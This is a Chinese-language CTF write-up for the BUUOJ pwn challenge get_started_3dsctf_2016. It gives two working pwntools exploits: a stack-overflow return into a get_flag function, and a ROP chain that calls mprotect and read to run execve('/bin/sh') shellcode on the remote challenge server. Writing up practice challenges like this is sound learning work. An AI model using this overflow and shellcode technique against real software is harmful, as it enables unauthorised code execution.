題外:這道題不是很難,但是卻難住了我很久。主要是在IDA中查看反編譯出的偽代碼時雙擊了一下gets()函數,結果進入gets函數內部,我當時就懵了,誤以為這是一個自定義函數,但是自定義函數應該應該不能與已有的庫函數同名啊。雖然有此疑問,我沒有深究,而是老老實實分析反匯編出來的偽代碼,結果發現函數層層嵌套,根本分析不完。最后我不得以去網上看了別人的題解,發現根本不用管這些。題最后做出來了,但還是不明白為啥會有這么一大串代碼。
----------------------------------------------------------------------------------------------------
解法一:
先分析題目的二進制文件
可以看出這是32位程序,沒有看cannary和PIE保護,接下來把程序放入IDA中看看。
程序很簡單,存在明顯的棧溢出。細心的小伙伴還可以發現程序直接給了一個拿flag的函數,如下:
但是這個函數中有if條件限制,不好直接跳轉到這個函數。這個時候就可以選擇直接跳轉到if語句塊里,從而繞過if的檢查。這么的做的弊端是導致棧不平衡,執行完這個函數后程序會崩潰,不過這之前我們已經拿到flag了,所以這題是沒有什么關系的。最后exp如下:
from pwn import * context.terminal = ['tmux', 'splitw', '-h'] context.log_level = 'debug' elf = ELF('./get_started_3dsctf_2016') sh = elf.process() get_flag = 0x080489b8 payload_01 = 'A'*0x38 + p32(get_flag) gdb.attach(sh) sh.sendline(payload_01) sh.interactive('countfatcode> ')
這樣寫在本機上是能跑的,但是打遠程的時候匯出錯,我也不知道為什么。
解法二:
細心的小伙伴可以發現題目里有mprotect函數,這個函數可以改變程序內存空間的讀寫執行權限。具體的用法如下:
int mprotect(const void *start, size_t len, int prot); 參數start表示開始的內存地址,len是要操作的內存大小,prot表示權限
所以我們先用mrotect函數把.bss中的一部分改為可執行,用調用read函數向其中寫入shellcode,最后再跳轉到shellcode出執行。具體的exp如下:
from pwn import * context(os = 'linux', arch = 'i386', log_level = 'debug') context.terminal = ['tmux', 'splitw', '-h'] # p = process('./get_started_3dsctf_2016') p = remote('node3.buuoj.cn', 25626) elf = ELF('./get_started_3dsctf_2016') mprotect_addr = 0x0806ec80 read_addr = elf.symbols['read'] pop3_addr = 0x080509a5 payload = 'A'*0x38 + p32(mprotect_addr) + p32(pop3_addr) + p32(0x080ea000) + p32(0x2000) + p32(0x7) + p32(read_addr) + p32(0x080eb000) payload += p32(0) + p32(0x080eb000) + p32(0x100) #gdb.attach(p) p.sendline(payload) sleep(1) shellcode = asm(''' mov edx, 0 mov ecx, 0 push 0x68732f push 0x6e69622f mov ebx, esp mov eax, 0xb int 0x80 ''') p.sendline(shellcode) p.interactive()